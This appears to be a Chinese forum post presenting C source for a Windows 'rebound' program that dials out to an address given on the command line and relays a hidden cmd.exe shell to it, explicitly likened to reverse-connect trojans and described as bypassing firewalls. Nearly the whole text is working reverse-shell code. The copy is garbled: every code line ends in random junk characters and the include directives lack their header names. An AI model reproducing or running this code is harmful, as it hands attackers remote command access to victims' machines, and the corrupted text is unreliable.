这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4F#%f#"
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/* ============================== ^#SBpLw
Rebound port in Windows NT GW
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By wind,2006/7 _wu*M
===============================*/ P[i\e7mR
#include 2P}I'4C-
#include f1cl';
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#pragma comment(lib,"wsock32.lib") P;U@y"s
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void OutputShell(); Rt4di^v
SOCKET sClient; Jt=>-Spj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Bymny>.M
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void main(int argc,char **argv) OgMI
{ +VOb
WSADATA stWsaData; w-rOecwFvu
int nRet; [b1hC ~I;
SOCKADDR_IN stSaiClient,stSaiServer; [thboP.?
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if(argc != 3) Uf2:gLrF
{ c E76L%O
printf("Useage:\n\rRebound DestIP DestPort\n"); xqWj|jA
return; i^/54
} K`(#K#n
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WSAStartup(MAKEWORD(2,2),&stWsaData); u4"r>e6_B
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L8P36]>
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stSaiClient.sin_family = AF_INET; l>Av5g)
stSaiClient.sin_port = htons(0); K-@bwB7~s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M,..Kw/ }~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jgRCs.6
{ o;;,iHu*
printf("Bind Socket Failed!\n"); (,tHL
return; chLeq
} ~CFMIQ et
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stSaiServer.sin_family = AF_INET; K%2I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NsmVd dj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,"H?hFQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4*8&[b
{ uBRw>"c_*8
printf("Connect Error!"); EXHR(t}e
return; C'<'7g4
} _3&/(B%H
OutputShell(); :uvc\|:s
} <Kp+&(l,l
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void OutputShell() j],&z^O$
{ 8MQbLj'H
char szBuff[1024]; *`.LA@bHU
SECURITY_ATTRIBUTES stSecurityAttributes; ,;3:pr
OSVERSIONINFO stOsversionInfo; BhkAQEsWTQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Iaa|qJ4
STARTUPINFO stStartupInfo; Wa, 7P2r
char *szShell; BHclUwj
PROCESS_INFORMATION stProcessInformation; RAOKZ~`
unsigned long lBytesRead; lk o3]A3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8bGD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %&1$~m0
stSecurityAttributes.lpSecurityDescriptor = 0; F*!gzKZ"
stSecurityAttributes.bInheritHandle = TRUE; \7DCwu[0M
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cz[5Ug'V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~Jxlj(" 0(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `&,_xUA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /J.0s0@
stStartupInfo.wShowWindow = SW_HIDE; (zEYpTp
stStartupInfo.hStdInput = hReadPipe; |rFJ*.nD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i&pMF O
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GetVersionEx(&stOsversionInfo); #:I^&~:
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switch(stOsversionInfo.dwPlatformId) (xQI($Wq*M
{ fv/v|
case 1: -s33m]a;
szShell = "command.com"; D:6N9POB
break; C\/b~HU
default: m&ZJqsZIL
szShell = "cmd.exe"; R/rcXX7%
break; 9Q=>MOB-
} ^T+<!k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !,R
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send(sClient,szMsg,77,0); /t5g"n3
while(1) 9?!u2 o
{ F*.
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \CDAFu#
if(lBytesRead) 13\Sh
{ aYR\ <02
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uzO{{S-
send(sClient,szBuff,lBytesRead,0); CP@o,v-
} bsMC#xT
else |&(H^<+Xp
{ o KlF5I
lBytesRead=recv(sClient,szBuff,1024,0); Qw}xGlF,
if(lBytesRead<=0) break; ko>M&/^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pj j}K
} O/nqNQ?<
} |<'10
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return; 7Z
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}